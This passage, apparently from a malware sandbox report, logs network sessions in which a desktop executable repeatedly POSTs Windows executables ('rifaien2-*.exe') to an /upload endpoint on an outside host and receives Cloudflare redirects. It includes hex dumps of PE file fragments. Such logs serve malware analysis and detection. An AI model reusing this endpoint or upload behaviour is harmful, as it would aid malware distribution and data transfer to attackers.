Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50528	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:39.752717018 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------f636d0fd5bd1b2b3
Oct 10, 2024 21:02:40.210923910 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:40.212368011 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 66 36 33 36 64 30 66 64 35 62 64 31 62 32 62 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------f636d0fd5bd1b2b3Content-Disposition: form-data; name="file[]"; filename="rifaien2-cBftW9zYcUyutts4.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:40.212687969 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:40.220290899 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:40.220292091 CEST	7416	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:40.220416069 CEST	9888	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:40.220465899 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:40.227987051 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:40.228096008 CEST	9888	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:02:40.228142023 CEST	9888	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:02:40.228226900 CEST	7416	OUT	Data Raw: 22 96 e1 08 f6 24 d2 2b 9a 9d 34 4f b6 07 68 97 0b 60 fe fe 80 b9 c5 ff ef 0e 66 00 74 06 b1 eb 06 80 7d b6 00 74 34 83 be 14 ef f8 0d 41 00 74 2b 8b 55 08 33 51 51 ff b4 aa a6 d8 f5 1a 52 dc d7 11 f2 45 6c 37 16 1b 67 c7 84 17 ff 00 eb 31 33 3c Data Ascii: "$+4Oh`ft}t4At+U3QQREl7g13<8u8##'8(0=t$`bRPhR0q/tf9pua~lt`'qrktgnBD"N1<{(hd[^IZlW$tQ,H
Oct 10, 2024 21:02:40.695637941 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:40 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:40 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o6SE3gHFVaOKOMiZHDU0vkste%2BqKtFoB5xyNVidddNtTg975xZNFkUXtKDz7YjYUgkVGOBVqOK8VT90ag8brcMju27JTZXTZNwmh3QHTVQVmfkEd4YN4s%2BKNop7nX%2BpKzkvkhgOXlJYy%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddb51f398c6b-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50534	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:40.854605913 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------8ea40c4e793780ea
Oct 10, 2024 21:02:41.462697983 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:41.464176893 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 65 61 34 30 63 34 65 37 39 33 37 38 30 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------8ea40c4e793780eaContent-Disposition: form-data; name="file[]"; filename="rifaien2-BtW7KCBSW9z60IjW.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:41.464291096 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:41.525015116 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:41.525015116 CEST	9888	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:41.525604010 CEST	7416	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:41.525604010 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:41.591217041 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:41.591770887 CEST	9888	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:02:41.592763901 CEST	16096	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:02:41.592890024 CEST	8652	OUT	Data Raw: b2 06 c7 4d 8e 2a 0f 01 75 13 40 5a 09 c2 04 d4 89 90 6a 6f 47 44 fc fd 95 9e 84 d2 a2 08 c6 80 ed ce 82 82 8e 9d 80 b7 2e 16 11 24 a0 ba 78 ea 46 28 06 50 80 87 94 a2 c0 b9 28 76 2f 75 22 76 90 f3 45 08 5a 44 ae 8a 9f 10 78 89 c2 8b 80 2f 1d d5 Data Ascii: M*u@ZjoGD.$xF(P(v/u"vEZDx/=.t%=/D=u \YbwNPL4u+=c;Bt:u"[XU&Ezd\|CGTn^a>TdZ:
Oct 10, 2024 21:02:42.016581059 CEST	823	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:41 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:41 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=523IKHc6ij87AiPZR%2F1kwQ7wHVZ9DNMUktGh7fun%2FhGMNnUwBXE%2F91N5mm%2F%2B8nhCZCVFLRGPo7vU0t6ajfRqzblS5wXgZS6lWUrnfoO%2BAzCRZ3YJ37p%2B2lzhG4RoKGbOBsRE%2BJVasxqopw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddbca8c37cea-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50540	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:42.191157103 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------3fc2adabe40d23c0
Oct 10, 2024 21:02:42.830585957 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:42.831723928 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 66 63 32 61 64 61 62 65 34 30 64 32 33 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------3fc2adabe40d23c0Content-Disposition: form-data; name="file[]"; filename="rifaien2-J68guXWHhSRdzOvX.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:42.832050085 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:42.849283934 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:42.849330902 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:42.849330902 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:42.849375963 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:42.849426985 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:42.849456072 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:42.849514008 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:42.849514008 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:43.168451071 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:43 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:43 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EvC6PRZ40G9Lp0HIYedA2F39F6oh0C9G7%2BKV%2BNaNpikiNIXMp7U%2Fgdc14hZYP2ClZ%2Bnwlp95XtQ34ngYnMK41Z0pMCH7U%2FjDWAh%2BKFpsikVN92ZZSxa%2F7wXsSjxdLODE9W83RDIsT3nvcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddc53eaa4334-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50546	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:43.316891909 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------f110703771d3b163
Oct 10, 2024 21:02:43.815495968 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:43.816059113 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 66 31 31 30 37 30 33 37 37 31 64 33 62 31 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------f110703771d3b163Content-Disposition: form-data; name="file[]"; filename="rifaien2-9KCDfoTvJTmqygky.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:43.816257000 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:43.827635050 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:43.827656031 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:43.827656031 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
